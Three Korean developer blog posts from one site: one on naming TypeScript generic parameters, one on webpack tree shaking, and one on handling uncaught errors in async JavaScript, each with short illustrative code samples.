Source: https://yceffort.kr/2021/08/naming-your-own-generic.md
Title: 타입스크립트의 제네릭은 적절한 네이밍과 함께 사용하자
Description: 무지성 T, U, K 멈춰!
Date: 2021-08-27
Tags: typescript

타입스크립트의 제네릭은 언어가 제공하는 강력한 기능 중 하나다.제네릭을 사용하면, 타입스크립트에서 매우 유연하고 동적인 타입 생성을 가능하게 한다. 특히, 타입스크립트 최신버전에 들어서 string 리터럴 타입과 재귀 조건 타입이 생겨나면서, 재밌는 작업을 수행할 수 있다.

## (시작에 앞서) string literal type과 조건 타입

```typescript
type OnString = `on${string}`
const onClick: OnString = 'onClick'
// Type '"handleClick"' is not assignable to type '`on${string}`'
const handleClick: OnString = 'handleClick'
```

`infer` 키워드를 사용하면 더 재밌는 것도 할 수 있다. `infer`는 조건부 타입으로, `extends` 키워드 오른쪽에 사용할 수 있다.

```typescript
type Unpack<A> = A extends Array<infer E> ? E : A

type Test = Unpack<Apple[]>
// Apple
type Test = Unpack<Apple>
// Apple
```

만약 배열로 판단되면 배열에서 그 타입만을, 아니면 그 타입을 그대로 리턴하도록 했다.

아래 예제도 살펴보자.

```typescript
type ToCamel<S extends string> = S extends `${infer Head}_${infer Tail}`
  ? `${Head}${Capitalize<ToCamel<Tail>>}`
  : S

type T0 = ToCamel<'foo'> // "foo"
type T1 = ToCamel<'foo_bar'> // "fooBar"
type T2 = ToCamel<'foo_bar_baz'> // "fooBarBaz"
```

넘어온 제네릭을 재귀적으로 살펴보면서, `_`스타일의 snake case를 camelCase로 변경하였다.

## 제네릭과 String literal type, 그리고 조건에 따른 타입을 활용한 복잡한 예제

```typescript
type RouteParameters<T> = T extends `${string}/:${infer U}/${infer R}`
  ? {[P in U | keyof RouteParameters<`/${R}`>]: string}
  : T extends `${string}/:${infer U}`
    ? {[P in U]: string}
    : {}

type X = RouteParameters<'/api/:hello/:javascript/typescript/:world'>
// type X = {
//     hello: string;
//     javascript: string;
//     world: string;
// }
```

제네릭 타입을 선언하고, 또 그 안에서 제네릭타입을 선언했다. 이 작업은 `<>` 사이에서 이루어졌다. 그리고 이를 재귀적으로 처리함으로써, `:parameter`들을 객체 형태의 타입으로 처리할 수 있었다.

## 어려우니까, 처음으로 돌아와보자.

일단 앞선 예는 복잡하니, 다시 기초로 돌아와보자.

type에 제네릭을 넘겨주려면 우리는 보통 아래와 같이 처리한다.

```typescript
type Foo<T extends string> = ...
```

그리고 이 제네릭 타입은 기본값을 가질 수도 있다.

```typescript
type Foo<T extends string = "hello"> = ...
```

기본값을 사용하게 되면, 해당 제네릭의 사용처를 제한하는 것이기 때문에 순서가 중요해진다. 이는 자바스크립트의 함수와 비슷하다. 제네릭도 일종의 자바스크립트 함수의 인수의 성질과 비슷하다. 따라서 우리는 제네릭도 적절하게 네이밍을 해주는 것이 중요하다.

## 제네릭 타입 파라미터에 이름을 지어주기의 중요성

대부분의 제네릭 타입은 `T`로 시작하는 네이밍을 지어준다. 보통, `T`를 쓰게 되면, 그 이후에는 `U` `V` `W`를 쓰거나, `key`의 약자라는 의미로 `K`를 쓰곤 한다.

거의 모든 프로그래밍언어와 마찬가지로, 제네릭이라는 컨셉은 오래전 부터 존재해 왔다. 이런 제네릭의 시작은 `Ada` `ML`과 같은 70년대 언어에서 그 기원을 찾아볼 수 있다.

뭐, 그 때부터 `T`를 쓰는 것이 시작되었는지 어쨌는지 모르겠지만 어쨌거나 대부분이 제네릭을 선언할 때 `T`를 사용한다는 사실엔 변함이 없고, 우리또한 모두 그것에 익숙하다.

그러나 한개 일 때는 모르겠지만, 두 개부터는 조금씩 이해가 안된다. `Pick<K, U>`를 예를 들어보자. `K` `U`만을 봐서는 이게 무엇을 의미하는지 알 수가 없다. 아무도 저 두 알파벳만 봐서는, `U`가 객체타입이고, `K`가 그 `U`에 있는 키 중 하나는 사실을 알 수 없다.

따라서 우리는 공식 문서처럼, 아래와 같이 사용한다면 훨씬 이해하기 편하다.

```typescript
type Pick<Obj, Keys> = ...
```

https://www.typescriptlang.org/docs/handbook/utility-types.html#picktype-keys

## 제네릭을 네이밍하는 방법

타입은 일종의 문서화라고 볼수 있고, 타입 파라미터는, 일반적인 함수와 마찬가지로 이름을 통해서 부를 수 있다. 일반 함수와 마찬가지로, 제네릭 네이밍에 대한 가이드를 살펴보자.

1. 모든 타입 파라미터는, 타입과 마찬가지로 대문자로 시작한다.
2. 제네릭이 사용법이 완전히 명확하다면, 한단어를 사용한다. `RouteParameters`의 경우에는 `route`를 받는 것이 명확할 것이다.
3. 왠만하면 `T`를 쓰지말자. (이는 너무 제네릭하다) `route`와 마찬가지로 명확하게 나타낼 수 있는 단어로 사용하자.
4. 한 글자, 또는 짧은 단어, 그리고 약어를 사용해야 하는 경우는 거의 없다.
5. 빌트인 타입과 구별하기 위해서 prefix를 사용하자.
6. prefix를 제네릭네이밍에 사용하면 더 용도를 뚜렷이 구분할 수 있게 해준다. `Obj`보다는, `URLObj`가 낫다.
7. `infer`의 경우에도 제네릭 타입과 마찬가지의 룰이 적용된다.

위 규칙을 잘 염두해두고, `RouteParameters`를 정확한 제네릭 네이밍과 함께 다시 써보자.

```typescript
type RouteParameters<Route> =
  Route extends `${string}/:${infer Param}/${infer Rest}`
    ? {[Entry in Param | keyof RouteParameters<`/${Rest}`>]: string}
    : Route extends `${string}/:${infer Param}`
      ? {[Entry in Param]: string}
      : {}
```

확실히 이전보다 읽기가 편해졌다. (물론, 저 타입이 복잡하지 않다는 건 아니다 😑)

제네릭을 사용할때, `T` `K` `U`와 같은 약어보다는 적절한 네이밍을 사용한다면, 보다 다른 개발자들과 프로그래밍을 하는데 수월해질 것이다.

---

Source: https://yceffort.kr/2021/08/javascript-tree-shaking.md
Title: 트리쉐이킹으로 자바스크립트 사이즈 줄이기
Description: 트리쉐이킹은 직접 해드세요 제발
Date: 2021-08-24
Tags: javascript, web-performance

## Table of Contents

## Introduction

오늘날의 웹 애플리케이션의 크기는 꽈거에 비해 꽤 커졌다. 특히, 자바스크립트의 비중이 그렇다. [http archive](https://httparchive.org/reports/state-of-javascript#bytesJs)의 자료를 보면, 자바스크립트 크기의 중위값을 본다면 데스크톱은 476.4KB, 모바일의 경우 439.0kb 정도로 무시할 수 있는 수준이 아니다. 그리고 이는 단순히 transfer 기준인 걸 알아야 한다. 일반적으로 네트워크를 오갈 때는 압축된 번들이 온다는 것을 고려해 봤을 때, 실제 압축이 해제된 크기를 본다면 더 클 것이다. 리소스를 처리할 때는 압축이 되지 않은 파일을 기준으로 하기 때문에 우리는 이점을 잘 기억해둬야 한다. 압축된 300kb의 자바스크립트 번들은, 압축 해제시 약 900kb 정도가 될 것이고, 이는 파서와 컴파일러에 900kb 만큼의 부담이 갈 것이다.

그리고 자바스크립트는 처리하는데 많은 비용이 드는 리소스다. 다운로드 후 비교적 가벼운 디코딩 시간만 소요되는 이미지와는 다르게, 자바스크립트는 파싱도 해야하고, 컴파일도 해야하고, 그리고 마지막으로 실행도 되어야 한다. 즉, 다른 리소스에 비해 자바스크립트는 _비싼_ 리소스다. [자바스크립트 엔진의 효율성을 개선하기 위한 작업](https://v8.dev/blog/background-compilation)이 지속적으로 이뤄지고 있지만 자바스크립트의 성능 향상 작업은 어디까지나 개발자의 몫이다.

이를 위해 자바스크립트의 성능을 향상시키는 다양한 기술들이 있다. [Code Splitting](https://webpack.js.org/guides/code-splitting/)과 같이 애플리케이션 자바스크립트를 청크로 분할하고, 이러한 청크를 필요한 애플리케이션 경로에만 제공하여 성능을 향상시킬수도 있다. 이 기술도 제법 괜찮지만, 자바스크립트가 많이 사용되는 애플리케이션의 일반적인 문제, 사용하지 않는 코드가 포함될 수도 있다. 이 문제를 해결하기 위한 것이 바로 트리쉐이킹이다.

## Tree shaking?

[Tree shaking](https://en.wikipedia.org/wiki/Tree_shaking)은 사용되지 않는 코드를 제거하는 기법을 의미한다. 이 용어는 [Rollup](https://github.com/rollup/rollup#tree-shaking) 덕분에 유명세를 타긴했지만, 사용되지 않는 코드를 제거한다는 개념은 원래도 존재하고 있었다. 그리고 이 개념은 [Webpack](https://webpack.js.org/guides/tree-shaking/)에서도 소개되었다.

트리쉐이킹이라는 용어는 애플리케이션을 일종의 나무와 같은 구조로 보는 대에서 유래되었다. 트리의 각 노드는 앱에 고유한 기능을 제공하는 종속성을 나타낸다. 최신 애플리케이션에서는, 다음과 같은 `import`를 활용하여 이러한 디펜던시 (종속성)을 가져온다.

```javascript
// Import all the array utilities!
import arrayUtils from 'array-utils'
```

애플리케이션 초기단계에서는 이러한 디펜던시가 상대적으로 적을 수도 있다. 그리고 처음에는 `import`했을 때 모든 디펜던시를 사용했을 수도 있다. 그러나 애플리케이션이 점점 커질 수록 이 디펜던시도 같이 커지게 된다. 그리고 시간이 지날 수록 사용하지 않는 디펜던시가 제거되지 않는 경우도 생기게 된다. 이러한 문제를 해결하기 위해, 트리쉐이킹은 static import 문을 사용하여 ES6 모듈의 특정 부분만을 가져오는 방법을 사용한다.

```javascript
// Import only some of the utilities!
import {unique, implode, explode} from 'array-utils'
```

위 `import`문과 차이점이라고 한다면, 모든 것을 `import` 하는 이전 코드와는 다르게 여기에서는 딱 필요한 method들만 `import`했다는 것이다. 이 코드가 dev build에서는 어차피 모든 모듈을 가져오기 때문에 실질적으로 변화가 일어나지 않는다. 그러나 프로덕션 빌드에서는 명시적으로 가져오지 않는 es6모듈에 대해 `export`를 `shake` 하도록 웹팩을 구성하여 프로덕션 빌드를 더 작게 만들 수 있다.

### 트리 쉐이킹을 할 수 있는지 확인해보기

[이 예제 저장소](https://github.com/malchata/webpack-tree-shaking-example)로 웹팩에서 어떻게 트리쉐이킹이 일어나는지 확인 해보고자 한다. 이 애플리케이션은 간단한 데이터베이스에서 검색을 하는 기능을 제공하고 있다. 쿼리를 입력하면, 제품목록이 뜬다.

그리고 이 애플리케이션의 자바스크립트 코드는 벤더 코드 (`Preact`, `Emotion`)와 애플리케이션 코드 번들 (청크)로 나눠져 있다.

```bash
                 Asset        Size  Chunks             Chunk Names
js/vendors.a3722bf0.js    37.1 KiB       0  [emitted]  vendors
js/main.951b863a.js       20.8 KiB       1  [emitted]  main
```

번들크기가 21.1kb로 큰 편은 아니다. 그러나 이는 트리쉐이킹이 되지 않았다는 점을 알아야 한다.

애플리케이션 코드의 `FilterablePedalList` 컴포넌트에서 아래와 같은 코드를 확인할 수 있다.

```javascript
import * as utils from '../../utils/utils'
```

아마 이런 코드를 어디에선가 본적이 있을 것이다. 이 같이 `import`하는 것은 주의할 필요가 있다. 이 뜻은 `../../utils/utils`에 있는 것을 모두 `utils` 네임스페이스에 저장하라는 뜻이다. 여기서 중요한 것은 저 모듈에 얼마나 많은 모듈이 있는가이다.

확인해보니 약 1300줄의 코드가 있는 것을 확인해 볼 수 있다. 뭐 물론, 그렇다고 이게 꼭 잘못되었다고만 할 순 없다. 저기에 있는 모든 모듈을 쓰고 있다면 불가피한 선택이었을 수도 있다. 그러나 실제로 저 컴포넌트에서 쓰고 있는 `utils` 모듈은 고작 3개 뿐이다.

물론, 이 예시가 극단적인 케이스이긴 하다. 그러나 이러한 가상 시나리오가 실제 애플리케이션 코드에서 발견할 수 있는 최적화 사례와 유사하다는 사실은 분명하다. 이제 이를 트리쉐이킹 하기 위해서는 어떻게 해야할까?

### 바벨이 es6 모듈을 commonjs module로 변환하지 않도록 하기

Babel은 대부분의 웹 애플리케이션이 필요로 하는 필수 도구다. 그러나 아쉽게도, 트리쉐이킹과 같은 간단한 작업도 이 babel 때문에 어려워 지는 경우가 발생한다. 만약 [babel-preset-env](https://babeljs.io/docs/plugins/preset-env/)를 사용한다면, 이 모듈이 es6를 자동으로 commonjs 변환해준다. 즉, `import`를 `require`로 바꿔주기도 한다. 이는 훌륭한 기능이지만, 트리 쉐이킹 관점에서는 그렇지 못하다.

트리쉐이킹 관점에서 commonjs의 문제점은 웹팩이 어떤 모듈이 사용중인지 아닌지를 판단하여 제거하기가 어렵다는 것이다. 이를 위해 `.babelrc`에서 `commonjs`로 변환하지 못하도록 설정을 추가해 줘야 한다.

```javascript
{
  "presets": [
    ["env", {
      "modules": false
    }]
  ]
}
```

`"modules": false`를 지정하면, babel이 우리가 원하는 대로 동작하게 되어 디펜던시를 분석하고 사용되지 않는 디펜던시를 제거할 수 있다. 또한 웹팩은 코드를 광범위하게 호환되는 형식으로 변환하므로, 이 프로세스는 호환성 문제를 일으키지 않는다.

### `sideEffects` 활용하기

이렇게 트리쉐이킹을 할 때 고려해야할 또다른 측면은 프로젝트의 모듈이 부수효과를 일으키지는 지 여부다.

```javascript
let fruits = ['apple', 'orange', 'pear']

console.log(fruits) // (3) ["apple", "orange", "pear"]

const addFruit = function (fruit) {
  fruits.push(fruit)
}

addFruit('kiwi')

console.log(fruits) // (4) ["apple", "orange", "pear", "kiwi"]
```

`addFruit`은 `fruit` 배열의 마지막에 원소를 추가하지만, 이는 `addFruit`의 범위를 벗어나는 일을 하고 있다.

이러한 부수효과는 es6 모듈에서도 똑같이 적용되며, 이 또한 트리쉐이킹 관점에서 문제가 될 수 있다. 예측 가능한 입력값을 받고, 예측가능한 출력을 내뱉는 모듈을 트리쉐이킹 할 경우, 이를 사용하지 않을 때 트리쉐이킹을 하면 안전하게 처리할 수 있다.

웹팩의 경우 `package.json`에 `sideEffects: false`로 지정하여 패키지와 패키지 사이에 부수효과가 없음을 암시할 수 있다.

```json
{
  "name": "webpack-tree-shaking-example",
  "version": "1.0.0",
  "sideEffects": false
}
```

혹은, 특정 파일에 대해서만 부수효과가 없다고 지정할 수 있다.

```json
{
  "name": "webpack-tree-shaking-example",
  "version": "1.0.0",
  "sideEffects": ["./src/utils/utils.js"]
}
```

후자의 예제의 경우, 여기에서 지정된 파일은 부수효과가 없는 것으로 가정한다. `package.json`에 추가하고 싶지 않으면, [`module.rules`를 활용하여 설정할 수 있다.](https://github.com/webpack/webpack/issues/6065#issuecomment-351060570)

### 필요한 것 만 import 하기

`Babel`의 설정을 es6로 유지하도록 변경했지만, 모듈에서 필요한 함수만 가져오도록 수정해야 한다.

```javascript
import {simpleSort} from '../../utils/utils'
```

이 구문은, `../../utils/utils`에서 `simpleSort`만 가져오도록 지정한다. 전체 유틸리티 모듈이 아닌, 하나의 함수만 가져오므로 기존의 `utils.simpleSort`를 모두 `simpleSort`로 수정해야 한다.

이제 번들 크기를 다시 확인해보자.

```bash
                 Asset        Size  Chunks             Chunk Names
js/vendors.a3722bf0.js    37.1 KiB       0  [emitted]  vendors
   js/main.951b863a.js    20.8 KiB       1  [emitted]  main
```

```bash
                 Asset        Size  Chunks             Chunk Names
js/vendors.b007c500.js    36.9 KiB       0  [emitted]  vendors
   js/main.2b536ea2.js    8.45 KiB       1  [emitted]  main
```

두개 번들 크기 모두 줄었지만, 여기서 가장 큰 해택을 본 것은 `main` 쪽이다. 실제로 사용하지 않는 부분을 제거하여 약 60%의 코드를 날려버릴 수 있었다. 이렇게 하면 스크립트가 다운로드 하는데 걸리는 시간 뿐만 아니라 처리하는데 걸리는 시간도 줄일 수 있다.

### 무엇을 해야할지 감이 오지 않을 때

대부분의 경우 이정도 수정을 거치면 최신버전의 웹팩에서 트리쉐이킹이 동작하지만, 그럼에도 불구하고 제대로 동작하지 않는 경우가 있다. 예를 들어 [Lodash](https://lodash.com/)와 같은 경우가 있다. Lodash의 설계적인 특성상, [Lodash-es](https://www.npmjs.com/package/lodash-es)%20install%20the-,lodash-es,-package%20in%20lieu)를 설치해서 사용해야 한다.

https://yceffort.kr/2020/07/how-commonjs-is-making-your-bundles-larger

```javascript
// This still pulls in all of lodash even if everything is configured right.
import {sortBy} from 'lodash'

// This will only pull in the sortBy routine.
import sortBy from 'lodash-es/sortBy'
```

`import` 구문을 일관되게 유지하고 싶다면, [babel-plugin-lodash](https://www.npmjs.com/package/babel-plugin-lodash)를 설치하여 사용하면 된다.

그럼에도 불구하고 트리 쉐이킹의 적용을 받지 않는 라이브러리가 있다면, es6 구문을 활용하여 메서드를 내보내는지 여부를 확인해야 한다. CommonJS 방식인 `module.exports`를 사용하는 경우 웹팩에서 트리쉐이킹이 불가능하다. 그럼에도, [webpack-common-shake](https://github.com/indutny/webpack-common-shake)와 같은 라이브러리를 사용하면 가능할 수도 있지만, [일부 케이스의 경우 트리쉐이킹이 완벽하게 되지 않는다.](https://github.com/indutny/webpack-common-shake#limitations) 그러므로 안정적인 트리 쉐이킹을 위해서는 es6 모듈을 사용하는 것이 좋다.

## 마치며

트리 쉐이킹에서 어떤일이 발생할지는 애플리케이션과 애플리케이션의 의존성, 아키텍쳐에 달려있다. 지금 바로 해보자. 번들에서 사용하지 않는 코드를 삭제한다면 최적화를 일궈낼 수 있다. 물론, 트레 쉐이킹을 하더라도 이득이 없을 수도 없다. 그러나 프로덕션 빌드에서 이러한 최적화를 활용하도록 빌드 시스템을 구성하고, 애플리케이션에서 필요한 것만 선택적으로 가져오면 애플리케이션을 최소한의 크기로 유지할 수 있다. 이는 성능 측면에서, 그리고 사용자 측면에서 모두 좋다.

---

Source: https://yceffort.kr/2021/08/uncaught-async-error.md
Title: uncaught async error를 올바르게 처리하기
Description: async가 있으면 함수 실행이 뒤로 넘어간다니까요?
Date: 2021-08-23
Tags: javascript, error-handling, async

> 2021년에 쓴 글인데 지금까지도 꾸준히 읽히고 있어서, 2026년 8월에 내용을 보강했다. 에러 메시지가 찍히는 원리, top-level await, `Promise.allSettled`, 전역 안전망(`unhandledrejection`)과 Node.js의 동작이 추가되었고, 기존 예제의 잘못된 주석 몇 개를 바로잡았다.

## TL;DR

`Uncaught (in promise) Error`로 검색해서 들어왔다면, 대부분 아래 케이스 중 하나에 해당한다.

- `async` 함수를 `await` 없이 호출: 호출부에 `.catch()`를 붙이거나, 함수 내부를 `try...catch`로 감싼다 ([Async IIFE](#async-iife))
- `forEach`에 async 콜백을 넘김: `map`으로 바꾸고 `await Promise.all()`로 감싼다 ([Async forEach](#async-foreach))
- `.then(onSuccess, onError)`의 `onSuccess`에서 던진 에러: 체인 마지막에 `.catch()`를 붙인다 ([Promise Chaining](#promise-chaining))
- `new Promise` 내부의 `setTimeout` 등 비동기 콜백에서 `throw`: `throw` 대신 `reject`를 호출한다 ([Promise Constructor](#promise-constructor))
- 이벤트 리스너에 넘긴 async 콜백: 콜백 내부에서 `try...catch` 하거나, 에러 처리를 붙여주는 래퍼로 감싼다 ([이벤트 리스너](#이벤트-리스너))
- 위의 어느 것으로도 못 잡고 새는 에러의 마지막 안전망: 브라우저는 `unhandledrejection` 이벤트, Node.js는 `process.on('unhandledRejection')` ([전역 안전망](#전역-안전망))

각 케이스가 왜 잡히지 않는지는 아래에서 하나씩 살펴본다.

## 이 메시지는 어디서 오는가

케이스로 들어가기 전에, `Uncaught (in promise)`라는 메시지가 어떤 원리로 찍히는지부터 짚고 가면 아래 내용이 훨씬 수월해진다.

promise가 reject되면, 자바스크립트 엔진은 그 rejection을 처리할 핸들러(`.catch()`, `.then()`의 두 번째 인자, 또는 `await`을 감싼 `try...catch`)가 붙어 있는지 확인한다. 마이크로태스크 큐가 비워질 때까지 아무 핸들러도 붙지 않으면, 호스트 환경(브라우저, Node.js)에 "처리되지 않은 rejection"으로 보고된다. 브라우저 콘솔의 `Uncaught (in promise) Error`가 바로 이 보고다.

여기서 중요한 것은 **이 메시지가 `try...catch`의 실패가 아니라, rejection 채널에 아무도 구독하지 않았다는 뜻**이라는 점이다. 그래서 이 글의 모든 케이스는 결국 하나의 질문으로 환원된다. "이 promise의 rejection은 누가 구독하고 있는가?" 동기 코드처럼 보이는 `try...catch`가 있어도, 그 블록이 promise를 구독하는 형태(`await`)가 아니면 아무 소용이 없다.

## Async IIFE

먼저, 즉시 실행 함수내에서 에러를 던지고 이 에러를 잡아보자.

```javascript
try {
  ;(() => {
    throw new Error('error')
  })()
} catch (e) {
  console.log(e) // caught
}
```

무사히(?) 에러가 잡히는 모습을 볼 수 있다.

하지만 여기에 `async` 키워드를 추가하면 어떻게 될까?

```javascript
try {
  ;(async () => {
    throw new Error('err') // uncaught
  })()
} catch (e) {
  console.log(e)
}
```

같은 코드에 `async`만 추가했을 뿐인데, 에러가 잡히지 않는 모습이다. 왜 그럴까?

동기 코드에서는, 에러가 동기로 발생하기 때문에, `try...catch` 문에서 잡을 수 있었다. 단순하게 이야기하면, 프로그램 실행이 `try...catch`를 벗어나지 않기 때문에 에러를 잡을 수 있었던 것이다.

하지만 비동기 함수의 경우는 다르다. async 함수 안에서 던진 에러는 밖으로 던져지는 것이 아니라 **reject된 promise가 되어 반환**된다. 그리고 이 코드는 그 promise를 `await` 하지도, `.catch()`를 붙이지도 않은 채 버려두고 있다. `try...catch` 문은 에러가 발생하는 시점에 이미 끝나 있고, rejection을 구독하는 사람이 아무도 없으니 앞서 본 원리대로 `Uncaught (in promise)`가 된다.

따라서 이를 해결 하기 위해서는, 아래 두 가지 방법으로 해결이 가능하다.

```javascript
;(async () => {
  throw new Error('err')
})().catch((e) => {
  console.log(e) // caught
})
```

```javascript
;(async () => {
  try {
    throw new Error('err')
  } catch (e) {
    console.log(e) // caught
  }
})()
```

요것은 [return await promise와 return promise의 차이](https://yceffort.kr/2021/02/run-await-return-return-await)와 좀 비슷하다.

### Top-level await

한 가지 덧붙이면, 요즘은 이 async IIFE 패턴 자체가 필요 없는 경우가 많다. ES2022부터 ES 모듈에서는 top-level await이 가능해서, 함수로 감싸지 않고도 모듈 최상위에서 바로 `await`을 쓸 수 있기 때문이다.

```javascript
// ES 모듈 (<script type="module">, .mjs 등)
try {
  await init()
} catch (e) {
  console.log(e) // caught
}
```

이 경우 `try...catch`가 자연스럽게 rejection을 구독하는 형태(`await`)가 되므로 에러도 잘 잡힌다. 다만 `try...catch` 없이 top-level await에서 에러가 나면 모듈 평가 자체가 실패하고, 그 모듈을 import한 쪽까지 실패가 전파된다는 점은 알아둘 필요가 있다.

## Async forEach

또 한가지 다른 것은 async `forEach`다. 아래 코드는 앞서 이야기한 것 처럼 동기 코드이기 때문에 에러가 잘 잡힌다.

```javascript
try {
  ;[1, 2, 3].forEach((index) => {
    throw new Error(`err ${index}`)
  })
} catch (e) {
  console.log(e) // caught
}
```

그러나 역시 이 것도 비동기로 바꾸게 되면 에러가 잡히지 않게 된다.

```javascript
try {
  ;[1, 2, 3].forEach(async (index) => {
    throw new Error(`err ${index}`)
  })
} catch (e) {
  console.log(e)
}
```

```bash
Uncaught (in promise) Error: err 1
Uncaught (in promise) Error: err 2
Uncaught (in promise) Error: err 3
```

세 번의 콜백 호출이 각각 reject된 promise를 만드는데, `forEach`는 콜백의 반환값을 그냥 버린다. 구독자 없는 promise가 세 개 생기는 셈이다.

이 경우에는 `await Promise.all`을 사용한다. 그런데 여기서 조금 다른게 있다. `map`을 썼을 때와 `forEach`를 썼을 때 차이다.

`forEach`

```javascript
try {
  await Promise.all(
    [1, 2, 3].forEach(async (index) => {
      throw new Error(`err ${index}`)
    }),
  )
} catch (e) {
  console.log(e) // undefined is not iterable (cannot read property Symbol(Symbol.iterator))
}
```

`map`

```javascript
try {
  await Promise.all(
    [1, 2, 3].map(async (index) => {
      throw new Error(`err ${index}`)
    }),
  )
} catch (e) {
  console.log(e) // caught Error: err 1
}
```

어떤일이 일어나는지 정확히 알기 위해, `console.log`를 추가해 보자.

```javascript
try {
  await Promise.all(
    [1, 2, 3].forEach(async (index) => {
      console.log('forEach', index)
      throw new Error(`err ${index}`)
    }),
  )
} catch (e) {
  console.log(e) // undefined is not iterable (cannot read property Symbol(Symbol.iterator))
}
```

```text
forEach 1
forEach 2
forEach 3
TypeError: undefined is not iterable (cannot read property Symbol(Symbol.iterator))
    at Function.all (<anonymous>)
    at <anonymous>:2:16
```

`forEach`는 아무것도 반환하지 않으므로(`undefined`), `Promise.all(undefined)`는 그 자리에서 `TypeError`를 던진다. 이 `TypeError`는 잡히지만, 그것과 별개로 이미 실행된 콜백 세 개가 만든 rejection은 여전히 구독자가 없어서 `Uncaught (in promise)` 세 개가 그대로 콘솔에 찍힌다. 에러를 잡은 것처럼 보여도 실제로는 아무것도 해결되지 않은 것이다.

반면 `map`은 promise의 배열을 반환하고, `Promise.all`이 그 **모든 promise를 구독**한다.

```javascript
try {
  await Promise.all(
    [1, 2, 3].map(async (index) => {
      console.log('map', index)
      throw new Error(`err ${index}`)
    }),
  )
} catch (e) {
  console.log(e) // caught Error: err 1
}
```

```text
map 1
map 2
map 3
Error: err 1
```

콜백은 세 번 모두 실행되지만(`map`도 `forEach`처럼 중간에 멈추지 않는다), `Promise.all`은 첫 번째 rejection(`err 1`)으로 reject되고 그것이 `catch`에 잡힌다. 나머지 두 rejection은 어떻게 될까? `Promise.all`이 이미 구독하고 있으므로 unhandled로 새지 않고 조용히 버려진다.

`forEach`는 `break`가 없다. 즉 중간에 도망갈 수 없는 loop 구문이다. 따라서 exception 유무와 상관없이 다 돌게 된다. 그러므로 `Promise.all`을 사용해야 하는 상황에서는 일반적으로 `forEach`대신 `map`을 쓴다.

- https://262.ecma-international.org/6.0/#sec-array.prototype.foreach

> There is no way to stop or break a forEach() loop other than by throwing an exception. If you need such behavior, the forEach() method is the wrong tool.

> `return false`를 쓰면 forEach를 나올 수 있다는 포스팅도 종종 보이는데, 사실 이건 엄밀히 말하면 그렇게 보이는 것 뿐이다.

```javascript
function hello() {
  ;[1, 2, 3].forEach((index) => {
    console.log(`${index} 도는 중`)
    return false
  })
}
```

```bash
1 도는 중
2 도는 중
3 도는 중
```

### Promise.allSettled

방금 본 것처럼 `Promise.all`은 첫 번째 실패에서 바로 reject되고, 나머지 결과는 성공이든 실패든 버린다. 실패한 것만 골라 재시도하거나, 어떤 항목이 실패했는지 모두 알아야 하는 상황이라면 `Promise.allSettled`가 맞는 도구다.

```javascript
const results = await Promise.allSettled(
  [1, 2, 3].map(async (index) => {
    if (index === 2) {
      throw new Error(`err ${index}`)
    }
    return index
  }),
)

console.log(results)
// [
//   { status: 'fulfilled', value: 1 },
//   { status: 'rejected', reason: Error: err 2 },
//   { status: 'fulfilled', value: 3 },
// ]
```

`allSettled`는 모든 promise가 결론에 도달할 때까지 기다리고, 절대 reject되지 않는다. 모든 rejection을 구독해서 결과 객체로 바꿔주므로 unhandled rejection이 생길 여지도 없다. 대신 실패를 직접 꺼내서 확인해야 하므로, `status === 'rejected'`인 항목을 확인하는 코드를 빼먹으면 이번에는 에러가 콘솔에도 찍히지 않고 조용히 사라진다는 점은 주의해야 한다.

## Promise Chaining

비동기 함수는 비동기 작업을 수행하기 위하여 Promise에 의존한다. 따라서, `.then(onSuccess, onError)` 콜백에서도 비동기 함수를 사용할 수 있다.

> 이와 관련된 포스팅: [promise.then(f, f) vs promise.catch(f)](https://yceffort.kr/2021/07/promise-then-f-f-vs-promise-catch)

아래 코드에서는 에러가 잡히지 않지만

```javascript
Promise.resolve().then(
  /*onSuccess*/ () => {
    throw new Error('err') // uncaught
  },
  /*onError*/ (e) => {
    console.log(e)
  },
)
```

별도로 이렇게 `catch` 문이 빠져 있다면 잡을 수 있게 된다.

```javascript
Promise.resolve()
  .then(
    /*onSuccess*/ () => {
      throw new Error('err')
    },
  )
  .catch(
    /*onError*/ (e) => {
      console.log(e) // caught
    },
  )
```

`onError`는 **앞선 promise**의 rejection만 처리할 뿐, 같은 `.then()`에 나란히 넘긴 `onSuccess`에서 던진 에러는 처리하지 못한다. `onSuccess`의 에러는 `.then()`이 반환하는 **다음 promise**의 rejection이 되므로, 그 뒤에 붙은 핸들러만 잡을 수 있다. 체인 마지막에 `.catch()`를 붙이는 습관이 안전한 이유다.

## Early Init

잡히지 않는 예외의 또다른 케이스는 promise와 await을 분리하여 병렬로 실행하는 것이다. `await`은 `async` 함수의 실행만을 중지해서 실행하므로, 이경우 병렬화가 일어나버리게 된다. 아래 예제를 살펴보자.

```javascript
const wait = (ms) => new Promise((res) => setTimeout(res, ms))

;(async () => {
  try {
    const p1 = wait(3000).then(() => {
      throw new Error('err')
    }) // uncaught
    await wait(2000).then(() => {
      throw new Error('err2')
    }) // caught
    await p1
  } catch (e) {
    console.log(e)
  }
})()
```

이 경우에는 두 개의 `await`을 모두 기다리지 않는다. 하나에서 error가 나버리면, `try...catch`로 해당 에러를 잡아버리고, 그 다음으로 넘어가버리게 된다. 따라서 나머지 하나의 에러는 잡히지 않게 된다.

```bash
Error: err2
Uncaught (in promise) Error: err
```

`err2`가 2초 시점에 던져져 `catch`로 점프하는 순간, `await p1`은 영영 실행되지 않는다. `p1`은 1초 뒤에 reject되지만 그 시점에는 구독자가 아무도 없다.

이 경우에도, 마찬가지로 `Promise.all`을 통해서 문제를 해결할 수 있다. 병렬로 시작하되, 구독은 한 곳에서 한꺼번에 하는 것이다.

```javascript
;(async () => {
  try {
    const p1 = wait(3000).then(() => {
      throw new Error('err')
    })
    await Promise.all([
      wait(2000).then(() => {
        throw new Error('err2')
      }),
      p1,
    ])
  } catch (e) {
    console.log(e)
  }
})()
```

## 이벤트 리스너

이벤트 리스너와 같이 콜백에서도 종종 unhandled exception이 발생하곤 한다.

```javascript
document.querySelector('button').addEventListener('click', async () => {
  throw new Error('err') // Uncaught (in promise) Error: err
})
```

```javascript
document.querySelector('button').addEventListener('click', () => {
  throw new Error('err') // Uncaught Error: err
})
```

둘 다 잡히지 않는 것은 같지만, 에러 메시지를 자세히 보면 **새는 채널이 다르다.** 동기 콜백의 에러는 일반적인 uncaught error가 되어 `window`의 `error` 이벤트로 보고되고, async 콜백의 에러는 reject된 promise가 되어 `unhandledrejection` 이벤트로 보고된다. 에러 모니터링을 직접 구축했다면 한쪽 채널만 수집하고 있지는 않은지 확인해 볼 필요가 있다.

